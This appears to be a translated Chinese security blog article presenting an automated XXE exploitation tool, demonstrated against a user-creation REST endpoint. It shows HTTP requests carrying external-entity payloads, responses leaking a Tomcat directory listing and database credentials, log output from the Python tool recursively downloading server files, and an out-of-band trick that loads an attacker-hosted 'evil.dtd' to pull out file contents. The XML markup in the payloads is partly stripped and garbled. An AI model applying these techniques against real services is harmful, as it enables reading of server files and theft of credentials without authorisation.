黑客制造:XXE漏洞自动挖掘工具
0×00 场景介绍
最近我们在测定一个RESRful web service时开发了一个工具来从系统中自动挖掘XXE(XML External Entity)漏洞。这里我们将通过一个生成用户账号的web service来进行工具的演示。
下面的例子中显示了HTTP 请求的四个参数:
PUT /api/user HTTP/1.1 Host: example.com Content-Type: application/xml Content-Length: 109John Doe jdoe@redacted.com admin
对应的HTTP 响应中除了这四个参数还包含了生成的账户ID。
HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 10:57:28 GMT Content-Type: application/xml Content-Length: 557 Connection: keep-alive { “userId”: 123, “firstname”: “John”, “surname”: “Doe”, “email”: “jdoe@example.com”, “role”: “admin” }
这里要注意的是由于web service接受JSON和XML输入,所以响应也是json编码。支持多种数据格式现在变得越发常见,这在Antti Rantasaari的博客中有详细阐述。
证明存在XXE漏洞的典型做法是获取etc/passwd中的内容,而除此以外一些XML解析器还可以列出目录列表。下面的请求中定义了外部实体“xxe”来包含/etc/tomcat7/下的路径。
PUT /api/user HTTP/1.1 Host: example.com Content-Type: application/xml Content-Length: 233 ]>John &xxe; jdoe@example.com admin
通过在
HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 11:04:01 GMT Content-Type: application/xml Content-Length: 557 Connection: keep-alive { “userId”: 126, “firstname”: “John”, “surname”: “Catalina\ncatalina.properties\ncontext.xml\nlogging.properties\npolicy.d\nserver.xml\ntomcat-users.xml\nweb.xml\n”, “email”: “jdoe@example.com”, “role”: “admin” }
0×01工具介绍
现在我们可以得到目录列表和获取文件,下一步就是实现自动化攻击并尽可能多的下载文件。我们可以用下面的python脚本列出/etc/tomcat下的路径:
# python xxeclient.py /etc/tomcat7/ 2015-04-24 16:21:10,650 [INFO ] retrieving /etc/tomcat7/ 2015-04-24 16:21:10,668 [INFO ] retrieving /etc/tomcat7/Catalina/ 2015-04-24 16:21:10,690 [INFO ] retrieving /etc/tomcat7/Catalina/localhost/ 2015-04-24 16:21:10,696 [INFO ] looks like a file: /etc/tomcat7/Catalina/localhost/ 2015-04-24 16:21:10,699 [INFO ] saving etc/tomcat7/Catalina/localhost 2015-04-24 16:21:10,700 [INFO ] retrieving /etc/tomcat7/catalina.properties/ 2015-04-24 16:21:10,711 [INFO ] looks like a file: /etc/tomcat7/catalina.properties/ 2015-04-24 16:21:10,714 [INFO ] saving etc/tomcat7/catalina.properties 2015-04-24 16:21:10,715 [INFO ] retrieving /etc/tomcat7/context.xml/ 2015-04-24 16:21:10,721 [INFO ] looks like a file: /etc/tomcat7/context.xml/ 2015-04-24 16:21:10,721 [INFO ] saving etc/tomcat7/context.xml […]
现在我们就可以在文件中通过grep查找密码和其他有用的信息。比如/etc/tomcat7/context.xml中也许会包含数据库的敏感信息
我们通过上面请求中的XXE payload在
为了解决上述问题,文件内容可以封装在CDATA部分中(详情可参考Timothy D. Morgan的报告)。下面的请求中声明了5个实体。文件内容写入在“%file”中,“%start”标志着CDATA的开始,“%end”标志着CDATA的结束。最后,“%dtd”加载一个构造好的dtd文件。这个文件定义了“xxe”实体,连接“%start”,“%file”,“end”。接着这个实体引用在了
PUT /api/user HTTP/1.1 Host: example.com Content-Type: application/xml Content-Length: 378 ”> %dtd; ]>John &xxe; jdoe@example.com admin
这就是从我们控制的服务器上加载过来的“evil.dtd”。
响应中便包含了“/etc/tomcat7/context.xml”配置文件中的内容。
HTTP/1.1 200 OK Date: Tue, 03 Mar 2015 11:12:43 GMT Content-Type: application/xml Content-Length: 557 Connection: keep-alive { “userId”: 127, “firstname”: “John”, “surname”: “\n\n ”, “email”: “jdoe@example.com”, “role”: “admin” }mysql.jdbc.Driver” " name="”jdbc/myDB” auth=”Container” type=”javax.sql.DataSource” " url="”jdbc:mysql://…”/" username="”sqluser” password=”password” ">\n >
0×02注意事项
要注意这个方法只会在处理XML输入的服务器允许向外部服务器连接获取到evil.dtd文件时才有用。并且,当文件包含“%”(在一些情况中是“&”)或者非unicode的字符(比如bytes<0×20)仍会导致解析器错误。还有一点,“]]>”因为是CDATA的结束标志,所以也不能出现。
在列目录列表时,还没有有效的方法来分辨文件和路径。这个脚本假定文件只包含字母、数字、空格和“$.-_~”。或者,我们也可以将所有文件当做目录,重复其内容,尝试下载这些文件或子目录。然而,当遇到大文件时会开销很大。
该脚本适用于上述例子,但修改xml语句和“_parse_response()”方法就可以适用于其他情况。
脚本下载地址:GitHub
0×03总结
挖掘XXE漏洞的一个方法是从目标服务器中下载文件。一些解释器也会返回目录列表。这种情况下我们就可以用该脚本逐步列出所有路径。然而,因为一些字符会破坏XML语法所以不一定都能适用。